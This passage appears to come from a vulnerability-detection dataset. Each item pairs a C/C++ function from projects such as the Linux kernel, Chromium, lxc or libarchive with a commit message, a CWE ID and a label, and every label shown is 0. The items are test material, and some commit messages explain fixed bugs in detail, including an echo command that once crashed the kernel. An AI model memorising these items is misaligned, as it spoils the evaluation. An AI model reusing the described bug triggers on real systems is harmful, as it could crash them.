RIP: 0010:[<ffffffff810be32c>] [<ffffffff810be32c>] mem_cgroup_usage_unregister_event+0x9c/0x1f0
RSP: 0018:ffff88001d0b9d60 EFLAGS: 00010246
Process kworker/0:2 (pid: 574, threadinfo ffff88001d0b8000, task ffff88001de91cc0)
Call Trace:
[<ffffffff8107092b>] cgroup_event_remove+0x2b/0x60
[<ffffffff8103db94>] process_one_work+0x174/0x450
[<ffffffff8103e413>] worker_thread+0x123/0x2d0
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Anton Vorontsov <anton.vorontsov@linaro.org>
Acked-by: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
Cc: Kirill A. Shutemov <kirill@shutemov.name>
Cc: Michal Hocko <mhocko@suse.cz>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID:
| 0
| 21,435
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct posix_acl *f2fs_acl_from_disk(const char *value, size_t size)
{
int i, count;
struct posix_acl *acl;
struct f2fs_acl_header *hdr = (struct f2fs_acl_header *)value;
struct f2fs_acl_entry *entry = (struct f2fs_acl_entry *)(hdr + 1);
const char *end = value + size;
if (hdr->a_version != cpu_to_le32(F2FS_ACL_VERSION))
return ERR_PTR(-EINVAL);
count = f2fs_acl_count(size);
if (count < 0)
return ERR_PTR(-EINVAL);
if (count == 0)
return NULL;
acl = posix_acl_alloc(count, GFP_NOFS);
if (!acl)
return ERR_PTR(-ENOMEM);
for (i = 0; i < count; i++) {
if ((char *)entry > end)
goto fail;
acl->a_entries[i].e_tag = le16_to_cpu(entry->e_tag);
acl->a_entries[i].e_perm = le16_to_cpu(entry->e_perm);
switch (acl->a_entries[i].e_tag) {
case ACL_USER_OBJ:
case ACL_GROUP_OBJ:
case ACL_MASK:
case ACL_OTHER:
entry = (struct f2fs_acl_entry *)((char *)entry +
sizeof(struct f2fs_acl_entry_short));
break;
case ACL_USER:
acl->a_entries[i].e_uid =
make_kuid(&init_user_ns,
le32_to_cpu(entry->e_id));
entry = (struct f2fs_acl_entry *)((char *)entry +
sizeof(struct f2fs_acl_entry));
break;
case ACL_GROUP:
acl->a_entries[i].e_gid =
make_kgid(&init_user_ns,
le32_to_cpu(entry->e_id));
entry = (struct f2fs_acl_entry *)((char *)entry +
sizeof(struct f2fs_acl_entry));
break;
default:
goto fail;
}
}
if ((char *)entry != end)
goto fail;
return acl;
fail:
posix_acl_release(acl);
return ERR_PTR(-EINVAL);
}
Commit Message: posix_acl: Clear SGID bit when setting file permissions
When file permissions are modified via chmod(2) and the user is not in
the owning group or capable of CAP_FSETID, the setgid bit is cleared in
inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file
permissions as well as the new ACL, but doesn't clear the setgid bit in
a similar way; this allows to bypass the check in chmod(2). Fix that.
References: CVE-2016-7097
Reviewed-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Jeff Layton <jlayton@redhat.com>
Signed-off-by: Jan Kara <jack@suse.cz>
Signed-off-by: Andreas Gruenbacher <agruenba@redhat.com>
CWE ID: CWE-285
| 0
| 50,336
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SPL_METHOD(SplObjectStorage, getInfo)
{
spl_SplObjectStorageElement *element;
spl_SplObjectStorage *intern = Z_SPLOBJSTORAGE_P(getThis());
if (zend_parse_parameters_none() == FAILURE) {
return;
}
if ((element = zend_hash_get_current_data_ptr_ex(&intern->storage, &intern->pos)) == NULL) {
return;
}
ZVAL_COPY(return_value, &element->inf);
} /* }}} */
/* {{{ proto mixed SplObjectStorage::setInfo(mixed $inf)
Commit Message: Fix bug #73257 and bug #73258 - SplObjectStorage unserialize allows use of non-object as key
CWE ID: CWE-119
| 0
| 73,679
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: smp_fetch_url32_src(struct proxy *px, struct session *l4, void *l7, unsigned int opt,
const struct arg *args, struct sample *smp, const char *kw)
{
struct chunk *temp;
struct connection *cli_conn = objt_conn(l4->si[0].end);
if (!smp_fetch_url32(px, l4, l7, opt, args, smp, kw))
return 0;
temp = get_trash_chunk();
memcpy(temp->str + temp->len, &smp->data.uint, sizeof(smp->data.uint));
temp->len += sizeof(smp->data.uint);
switch (cli_conn->addr.from.ss_family) {
case AF_INET:
memcpy(temp->str + temp->len, &((struct sockaddr_in *)&cli_conn->addr.from)->sin_addr, 4);
temp->len += 4;
break;
case AF_INET6:
memcpy(temp->str + temp->len, &((struct sockaddr_in6 *)&cli_conn->addr.from)->sin6_addr, 16);
temp->len += 16;
break;
default:
return 0;
}
smp->data.str = *temp;
smp->type = SMP_T_BIN;
return 1;
}
Commit Message:
CWE ID: CWE-189
| 0
| 9,864
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: APIPermission* CreateAPIPermission(const APIPermissionInfo* permission) {
return new T(permission);
}
Commit Message: DIAL (Discovery and Launch protocol) extension API skeleton.
This implements the skeleton for a new Chrome extension API for local device discovery. The API will first be restricted to whitelisted extensions only. The API will allow extensions to receive events from a DIAL service running within Chrome which notifies of devices being discovered on the local network.
Spec available here:
https://docs.google.com/a/google.com/document/d/14FI-VKWrsMG7pIy3trgM3ybnKS-o5TULkt8itiBNXlQ/edit
BUG=163288
TBR=ben@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11444020
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@172243 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 113,728
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static unsigned rb_calculate_event_length(unsigned length)
{
struct ring_buffer_event event; /* Used only for sizeof array */
/* zero length can cause confusions */
if (!length)
length++;
if (length > RB_MAX_SMALL_DATA || RB_FORCE_8BYTE_ALIGNMENT)
length += sizeof(event.array[0]);
length += RB_EVNT_HDR_SIZE;
length = ALIGN(length, RB_ARCH_ALIGNMENT);
/*
* In case the time delta is larger than the 27 bits for it
* in the header, we need to add a timestamp. If another
* event comes in when trying to discard this one to increase
* the length, then the timestamp will be added in the allocated
* space of this event. If length is bigger than the size needed
* for the TIME_EXTEND, then padding has to be used. The events
* length must be either RB_LEN_TIME_EXTEND, or greater than or equal
* to RB_LEN_TIME_EXTEND + 8, as 8 is the minimum size for padding.
* As length is a multiple of 4, we only need to worry if it
* is 12 (RB_LEN_TIME_EXTEND + 4).
*/
if (length == RB_LEN_TIME_EXTEND + RB_ALIGNMENT)
length += RB_ALIGNMENT;
return length;
}
Commit Message: ring-buffer: Prevent overflow of size in ring_buffer_resize()
If the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE
then the DIV_ROUND_UP() will return zero.
Here's the details:
# echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb
tracing_entries_write() processes this and converts kb to bytes.
18014398509481980 << 10 = 18446744073709547520
and this is passed to ring_buffer_resize() as unsigned long size.
size = DIV_ROUND_UP(size, BUF_PAGE_SIZE);
Where DIV_ROUND_UP(a, b) is (a + b - 1)/b
BUF_PAGE_SIZE is 4080 and here
18446744073709547520 + 4080 - 1 = 18446744073709551599
where 18446744073709551599 is still smaller than 2^64
2^64 - 18446744073709551599 = 17
But now 18446744073709551599 / 4080 = 4521260802379792
and size = size * 4080 = 18446744073709551360
This is checked to make sure its still greater than 2 * 4080,
which it is.
Then we convert to the number of buffer pages needed.
nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE)
but this time size is 18446744073709551360 and
2^64 - (18446744073709551360 + 4080 - 1) = -3823
Thus it overflows and the resulting number is less than 4080, which makes
3823 / 4080 = 0
an nr_pages is set to this. As we already checked against the minimum that
nr_pages may be, this causes the logic to fail as well, and we crash the
kernel.
There's no reason to have the two DIV_ROUND_UP() (that's just result of
historical code changes), clean up the code and fix this bug.
Cc: stable@vger.kernel.org # 3.5+
Fixes: 83f40318dab00 ("ring-buffer: Make removal of ring buffer pages atomic")
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
CWE ID: CWE-190
| 0
| 72,519
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void *__kmalloc_node_track_caller(size_t size, gfp_t flags,
int node, unsigned long caller)
{
return __do_kmalloc_node(size, flags, node, caller);
}
Commit Message: mm/slab.c: fix SLAB freelist randomization duplicate entries
This patch fixes a bug in the freelist randomization code. When a high
random number is used, the freelist will contain duplicate entries. It
will result in different allocations sharing the same chunk.
It will result in odd behaviours and crashes. It should be uncommon but
it depends on the machines. We saw it happening more often on some
machines (every few hours of running tests).
Fixes: c7ce4f60ac19 ("mm: SLAB freelist randomization")
Link: http://lkml.kernel.org/r/20170103181908.143178-1-thgarnie@google.com
Signed-off-by: John Sperbeck <jsperbeck@google.com>
Signed-off-by: Thomas Garnier <thgarnie@google.com>
Cc: Christoph Lameter <cl@linux.com>
Cc: Pekka Enberg <penberg@kernel.org>
Cc: David Rientjes <rientjes@google.com>
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID:
| 0
| 68,819
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: OMX_ERRORTYPE SoftAVC::setAirParams() {
ive_ctl_set_air_params_ip_t s_air_ip;
ive_ctl_set_air_params_op_t s_air_op;
IV_STATUS_T status;
s_air_ip.e_cmd = IVE_CMD_VIDEO_CTL;
s_air_ip.e_sub_cmd = IVE_CMD_CTL_SET_AIR_PARAMS;
s_air_ip.e_air_mode = mAIRMode;
s_air_ip.u4_air_refresh_period = mAIRRefreshPeriod;
s_air_ip.u4_timestamp_high = -1;
s_air_ip.u4_timestamp_low = -1;
s_air_ip.u4_size = sizeof(ive_ctl_set_air_params_ip_t);
s_air_op.u4_size = sizeof(ive_ctl_set_air_params_op_t);
status = ive_api_function(mCodecCtx, &s_air_ip, &s_air_op);
if (status != IV_SUCCESS) {
ALOGE("Unable to set air params = 0x%x\n", s_air_op.u4_error_code);
return OMX_ErrorUndefined;
}
return OMX_ErrorNone;
}
Commit Message: DO NOT MERGE Verify OMX buffer sizes prior to access
Bug: 27207275
Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
CWE ID: CWE-119
| 0
| 163,961
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ContentSecurityPolicy::UrlMatchesSelf(const KURL& url) const {
return self_source_->MatchesAsSelf(url);
}
Commit Message: Inherit the navigation initiator when navigating instead of the parent/opener
Spec PR: https://github.com/w3c/webappsec-csp/pull/358
Bug: 905301, 894228, 836148
Change-Id: I43ada2266d42d1cd56dbe3c6dd89d115e878a83a
Reviewed-on: https://chromium-review.googlesource.com/c/1314633
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#610850}
CWE ID: CWE-20
| 0
| 152,537
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: FrameFocusedObserver::FrameFocusedObserver(RenderFrameHost* owner_host)
: impl_(new FrameTreeNodeObserverImpl(
static_cast<RenderFrameHostImpl*>(owner_host)->frame_tree_node())) {}
Commit Message: Apply ExtensionNavigationThrottle filesystem/blob checks to all frames.
BUG=836858
Change-Id: I34333a72501129fd40b5a9aa6378c9f35f1e7fc2
Reviewed-on: https://chromium-review.googlesource.com/1028511
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Nick Carter <nick@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#553867}
CWE ID: CWE-20
| 0
| 156,062
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int lxc_create_tty(const char *name, struct lxc_conf *conf)
{
struct lxc_tty_info *tty_info = &conf->tty_info;
int i, ret;
/* no tty in the configuration */
if (!conf->tty)
return 0;
tty_info->pty_info =
malloc(sizeof(*tty_info->pty_info)*conf->tty);
if (!tty_info->pty_info) {
SYSERROR("failed to allocate pty_info");
return -1;
}
for (i = 0; i < conf->tty; i++) {
struct lxc_pty_info *pty_info = &tty_info->pty_info[i];
process_lock();
ret = openpty(&pty_info->master, &pty_info->slave,
pty_info->name, NULL, NULL);
process_unlock();
if (ret) {
SYSERROR("failed to create pty #%d", i);
tty_info->nbtty = i;
lxc_delete_tty(tty_info);
return -1;
}
DEBUG("allocated pty '%s' (%d/%d)",
pty_info->name, pty_info->master, pty_info->slave);
/* Prevent leaking the file descriptors to the container */
fcntl(pty_info->master, F_SETFD, FD_CLOEXEC);
fcntl(pty_info->slave, F_SETFD, FD_CLOEXEC);
pty_info->busy = 0;
}
tty_info->nbtty = conf->tty;
INFO("tty's configured");
return 0;
}
Commit Message: CVE-2015-1335: Protect container mounts against symlinks
When a container starts up, lxc sets up the container's inital fstree
by doing a bunch of mounting, guided by the container configuration
file. The container config is owned by the admin or user on the host,
so we do not try to guard against bad entries. However, since the
mount target is in the container, it's possible that the container admin
could divert the mount with symbolic links. This could bypass proper
container startup (i.e. confinement of a root-owned container by the
restrictive apparmor policy, by diverting the required write to
/proc/self/attr/current), or bypass the (path-based) apparmor policy
by diverting, say, /proc to /mnt in the container.
To prevent this,
1. do not allow mounts to paths containing symbolic links
2. do not allow bind mounts from relative paths containing symbolic
links.
Details:
Define safe_mount which ensures that the container has not inserted any
symbolic links into any mount targets for mounts to be done during
container setup.
The host's mount path may contain symbolic links. As it is under the
control of the administrator, that's ok. So safe_mount begins the check
for symbolic links after the rootfs->mount, by opening that directory.
It opens each directory along the path using openat() relative to the
parent directory using O_NOFOLLOW. When the target is reached, it
mounts onto /proc/self/fd/<targetfd>.
Use safe_mount() in mount_entry(), when mounting container proc,
and when needed. In particular, safe_mount() need not be used in
any case where:
1. the mount is done in the container's namespace
2. the mount is for the container's rootfs
3. the mount is relative to a tmpfs or proc/sysfs which we have
just safe_mount()ed ourselves
Since we were using proc/net as a temporary placeholder for /proc/sys/net
during container startup, and proc/net is a symbolic link, use proc/tty
instead.
Update the lxc.container.conf manpage with details about the new
restrictions.
Finally, add a testcase to test some symbolic link possibilities.
Reported-by: Roman Fiedler
Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>
Acked-by: Stéphane Graber <stgraber@ubuntu.com>
CWE ID: CWE-59
| 0
| 44,596
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: advance_file_pointer(struct archive_read_filter *filter, int64_t request)
{
int64_t bytes_skipped, total_bytes_skipped = 0;
ssize_t bytes_read;
size_t min;
if (filter->fatal)
return (-1);
/* Use up the copy buffer first. */
if (filter->avail > 0) {
min = (size_t)minimum(request, (int64_t)filter->avail);
filter->next += min;
filter->avail -= min;
request -= min;
filter->position += min;
total_bytes_skipped += min;
}
/* Then use up the client buffer. */
if (filter->client_avail > 0) {
min = (size_t)minimum(request, (int64_t)filter->client_avail);
filter->client_next += min;
filter->client_avail -= min;
request -= min;
filter->position += min;
total_bytes_skipped += min;
}
if (request == 0)
return (total_bytes_skipped);
/* If there's an optimized skip function, use it. */
if (filter->skip != NULL) {
bytes_skipped = (filter->skip)(filter, request);
if (bytes_skipped < 0) { /* error */
filter->fatal = 1;
return (bytes_skipped);
}
filter->position += bytes_skipped;
total_bytes_skipped += bytes_skipped;
request -= bytes_skipped;
if (request == 0)
return (total_bytes_skipped);
}
/* Use ordinary reads as necessary to complete the request. */
for (;;) {
bytes_read = (filter->read)(filter, &filter->client_buff);
if (bytes_read < 0) {
filter->client_buff = NULL;
filter->fatal = 1;
return (bytes_read);
}
if (bytes_read == 0) {
if (filter->archive->client.cursor !=
filter->archive->client.nodes - 1) {
if (client_switch_proxy(filter,
filter->archive->client.cursor + 1)
== ARCHIVE_OK)
continue;
}
filter->client_buff = NULL;
filter->end_of_file = 1;
return (total_bytes_skipped);
}
if (bytes_read >= request) {
filter->client_next =
((const char *)filter->client_buff) + request;
filter->client_avail = (size_t)(bytes_read - request);
filter->client_total = bytes_read;
total_bytes_skipped += request;
filter->position += request;
return (total_bytes_skipped);
}
filter->position += bytes_read;
total_bytes_skipped += bytes_read;
request -= bytes_read;
}
}
Commit Message: Fix a potential crash issue discovered by Alexander Cherepanov:
It seems bsdtar automatically handles stacked compression. This is a
nice feature but it could be problematic when it's completely
unlimited. Most clearly it's illustrated with quines:
$ curl -sRO http://www.maximumcompression.com/selfgz.gz
$ (ulimit -v 10000000 && bsdtar -tvf selfgz.gz)
bsdtar: Error opening archive: Can't allocate data for gzip decompression
Without ulimit, bsdtar will eat all available memory. This could also
be a problem for other applications using libarchive.
CWE ID: CWE-399
| 0
| 50,011
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::MediaStartedPlaying(
const WebContentsObserver::MediaPlayerInfo& media_info,
const WebContentsObserver::MediaPlayerId& id) {
if (media_info.has_video)
currently_playing_video_count_++;
for (auto& observer : observers_)
observer.MediaStartedPlaying(media_info, id);
}
Commit Message: If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
CWE ID: CWE-20
| 0
| 135,767
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebPluginDelegateProxy::OnResolveProxy(const GURL& url,
bool* result,
std::string* proxy_list) {
*result = false;
RenderThreadImpl::current()->Send(
new ViewHostMsg_ResolveProxy(url, result, proxy_list));
}
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 107,144
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sched_open(struct inode *inode, struct file *filp)
{
return single_open(filp, sched_show, inode);
}
Commit Message: proc: restrict access to /proc/PID/io
/proc/PID/io may be used for gathering private information. E.g. for
openssh and vsftpd daemons wchars/rchars may be used to learn the
precise password length. Restrict it to processes being able to ptrace
the target process.
ptrace_may_access() is needed to prevent keeping open file descriptor of
"io" file, executing setuid binary and gathering io information of the
setuid'ed process.
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264
| 0
| 26,907
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: pdf_init_csi(fz_context *ctx, pdf_csi *csi, pdf_document *doc, pdf_obj *rdb, pdf_lexbuf *buf, fz_cookie *cookie)
{
memset(csi, 0, sizeof *csi);
csi->doc = doc;
csi->rdb = rdb;
csi->buf = buf;
csi->cookie = cookie;
}
Commit Message:
CWE ID: CWE-20
| 0
| 575
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DevToolsUIBindings::AgentHostClosed(
content::DevToolsAgentHost* agent_host,
bool replaced_with_another_client) {
DCHECK(agent_host == agent_host_.get());
agent_host_ = NULL;
delegate_->InspectedContentsClosing();
}
Commit Message: DevTools: move front-end URL handling to DevToolsUIBindingds
BUG=662859
Review-Url: https://codereview.chromium.org/2607833002
Cr-Commit-Position: refs/heads/master@{#440926}
CWE ID: CWE-200
| 0
| 138,286
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: pk_copy_error(krb5_context context,
hx509_context hx509ctx,
int hxret,
const char *fmt,
...)
{
va_list va;
char *s, *f;
int ret;
va_start(va, fmt);
ret = vasprintf(&f, fmt, va);
va_end(va);
if (ret == -1 || f == NULL) {
krb5_clear_error_message(context);
return;
}
s = hx509_get_error_string(hx509ctx, hxret);
if (s == NULL) {
krb5_clear_error_message(context);
free(f);
return;
}
krb5_set_error_message(context, hxret, "%s: %s", f, s);
free(s);
free(f);
}
Commit Message: CVE-2019-12098: krb5: always confirm PA-PKINIT-KX for anon PKINIT
RFC8062 Section 7 requires verification of the PA-PKINIT-KX key excahnge
when anonymous PKINIT is used. Failure to do so can permit an active
attacker to become a man-in-the-middle.
Introduced by a1ef548600c5bb51cf52a9a9ea12676506ede19f. First tagged
release Heimdal 1.4.0.
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (4.8)
Change-Id: I6cc1c0c24985936468af08693839ac6c3edda133
Signed-off-by: Jeffrey Altman <jaltman@auristor.com>
Approved-by: Jeffrey Altman <jaltman@auritor.com>
(cherry picked from commit 38c797e1ae9b9c8f99ae4aa2e73957679031fd2b)
CWE ID: CWE-320
| 0
| 89,973
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: error::Error GLES2DecoderPassthroughImpl::DoTexImage3D(GLenum target,
GLint level,
GLint internalformat,
GLsizei width,
GLsizei height,
GLsizei depth,
GLint border,
GLenum format,
GLenum type,
GLsizei image_size,
const void* pixels) {
ScopedUnpackStateButAlignmentReset reset_unpack(
api(), image_size != 0 && feature_info_->gl_version_info().is_es3, true);
CheckErrorCallbackState();
api()->glTexImage3DRobustANGLEFn(target, level, internalformat, width, height,
depth, border, format, type, image_size,
pixels);
if (CheckErrorCallbackState()) {
return error::kNoError;
}
UpdateTextureSizeFromTarget(target);
ExitCommandProcessingEarly();
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 142,124
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ext4_can_extents_be_merged(struct inode *inode, struct ext4_extent *ex1,
struct ext4_extent *ex2)
{
unsigned short ext1_ee_len, ext2_ee_len;
if (ext4_ext_is_unwritten(ex1) != ext4_ext_is_unwritten(ex2))
return 0;
ext1_ee_len = ext4_ext_get_actual_len(ex1);
ext2_ee_len = ext4_ext_get_actual_len(ex2);
if (le32_to_cpu(ex1->ee_block) + ext1_ee_len !=
le32_to_cpu(ex2->ee_block))
return 0;
/*
* To allow future support for preallocated extents to be added
* as an RO_COMPAT feature, refuse to merge to extents if
* this can result in the top bit of ee_len being set.
*/
if (ext1_ee_len + ext2_ee_len > EXT_INIT_MAX_LEN)
return 0;
/*
* The check for IO to unwritten extent is somewhat racy as we
* increment i_unwritten / set EXT4_STATE_DIO_UNWRITTEN only after
* dropping i_data_sem. But reserved blocks should save us in that
* case.
*/
if (ext4_ext_is_unwritten(ex1) &&
(ext4_test_inode_state(inode, EXT4_STATE_DIO_UNWRITTEN) ||
atomic_read(&EXT4_I(inode)->i_unwritten) ||
(ext1_ee_len + ext2_ee_len > EXT_UNWRITTEN_MAX_LEN)))
return 0;
#ifdef AGGRESSIVE_TEST
if (ext1_ee_len >= 4)
return 0;
#endif
if (ext4_ext_pblock(ex1) + ext1_ee_len == ext4_ext_pblock(ex2))
return 1;
return 0;
}
Commit Message: ext4: zero out the unused memory region in the extent tree block
This commit zeroes out the unused memory region in the buffer_head
corresponding to the extent metablock after writing the extent header
and the corresponding extent node entries.
This is done to prevent random uninitialized data from getting into
the filesystem when the extent block is synced.
This fixes CVE-2019-11833.
Signed-off-by: Sriram Rajagopalan <sriramr@arista.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>
Cc: stable@kernel.org
CWE ID: CWE-200
| 0
| 90,155
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: CJSON_PUBLIC(void) cJSON_ReplaceItemInObject(cJSON *object, const char *string, cJSON *newitem)
{
replace_item_in_object(object, string, newitem, false);
}
Commit Message: Fix crash of cJSON_GetObjectItemCaseSensitive when calling it on arrays
CWE ID: CWE-754
| 0
| 87,141
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: h_delay()
{
int r;
job j;
usec now;
int i;
tube t;
now = now_usec();
while ((j = delay_q_peek())) {
if (j->deadline_at > now) break;
j = delay_q_take();
r = enqueue_job(j, 0, 0);
if (r < 1) bury_job(j, 0); /* out of memory, so bury it */
}
for (i = 0; i < tubes.used; i++) {
t = tubes.items[i];
dprintf("h_delay for %s t->waiting.used=%zu t->ready.used=%d t->pause=%" PRIu64 "\n",
t->name, t->waiting.used, t->ready.used, t->pause);
if (t->pause && t->deadline_at <= now) {
t->pause = 0;
process_queue();
}
}
set_main_delay_timeout();
}
Commit Message: Discard job body bytes if the job is too big.
Previously, a malicious user could craft a job payload and inject
beanstalk commands without the client application knowing. (An
extra-careful client library could check the size of the job body before
sending the put command, but most libraries do not do this, nor should
they have to.)
Reported by Graham Barr.
CWE ID:
| 0
| 18,148
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: unsigned venc_dev::venc_stop( void)
{
struct venc_msg venc_msg;
struct v4l2_requestbuffers bufreq;
int rc = 0, ret = 0;
if (!stopped) {
enum v4l2_buf_type cap_type;
if (streaming[OUTPUT_PORT]) {
cap_type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE;
rc = ioctl(m_nDriver_fd, VIDIOC_STREAMOFF, &cap_type);
if (rc) {
DEBUG_PRINT_ERROR("Failed to call streamoff on driver: capability: %d, %d",
cap_type, rc);
} else
streaming[OUTPUT_PORT] = false;
DEBUG_PRINT_LOW("Releasing registered buffers from driver on o/p port");
bufreq.memory = V4L2_MEMORY_USERPTR;
bufreq.count = 0;
bufreq.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE;
ret = ioctl(m_nDriver_fd, VIDIOC_REQBUFS, &bufreq);
if (ret) {
DEBUG_PRINT_ERROR("ERROR: VIDIOC_REQBUFS OUTPUT MPLANE Failed");
return false;
}
}
if (!rc && streaming[CAPTURE_PORT]) {
cap_type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE;
rc = ioctl(m_nDriver_fd, VIDIOC_STREAMOFF, &cap_type);
if (rc) {
DEBUG_PRINT_ERROR("Failed to call streamoff on driver: capability: %d, %d",
cap_type, rc);
} else
streaming[CAPTURE_PORT] = false;
DEBUG_PRINT_LOW("Releasing registered buffers from driver on capture port");
bufreq.memory = V4L2_MEMORY_USERPTR;
bufreq.count = 0;
bufreq.type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE;
ret = ioctl(m_nDriver_fd, VIDIOC_REQBUFS, &bufreq);
if (ret) {
DEBUG_PRINT_ERROR("ERROR: VIDIOC_REQBUFS CAPTURE MPLANE Failed");
return false;
}
}
if (!rc && !ret) {
venc_stop_done();
stopped = 1;
/*set flag to re-configure when started again*/
resume_in_stopped = 1;
}
}
return rc;
}
Commit Message: DO NOT MERGE mm-video-v4l2: venc: add checks before accessing heap pointers
Heap pointers do not point to user virtual addresses in case
of secure session.
Set them to NULL and add checks to avoid accesing them
Bug: 28815329
Bug: 28920116
Change-Id: I94fd5808e753b58654d65e175d3857ef46ffba26
CWE ID: CWE-200
| 0
| 159,317
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: Render_Stroke( int num_indices,
int first_index )
{
int start_x, start_y, step_x, step_y, x, y;
int i;
FT_Size size;
FT_Stroker stroker = NULL;
error = FTDemo_Get_Size( handle, &size );
if ( error )
{
/* probably a non-existent bitmap font size */
return error;
}
INIT_SIZE( size, start_x, start_y, step_x, step_y, x, y );
i = first_index;
error = FT_Stroker_New( handle->library, &stroker );
if ( error )
goto Exit;
FT_Stroker_Set( stroker, 64,
FT_STROKER_LINECAP_ROUND,
FT_STROKER_LINEJOIN_ROUND,
0 );
while ( i < num_indices )
{
int gindex;
FT_GlyphSlot slot;
if ( handle->encoding == FT_ENCODING_NONE )
gindex = i;
else
gindex = FTDemo_Get_Index( handle, i );
error = FT_Load_Glyph( size->face, gindex,
handle->load_flags | FT_LOAD_NO_BITMAP );
slot = size->face->glyph;
if ( !error && slot->format == FT_GLYPH_FORMAT_OUTLINE )
{
FT_Glyph glyph;
error = FT_Get_Glyph( slot, &glyph );
if ( error )
goto Next;
error = FT_Glyph_Stroke( &glyph, stroker, 1 );
if ( error )
{
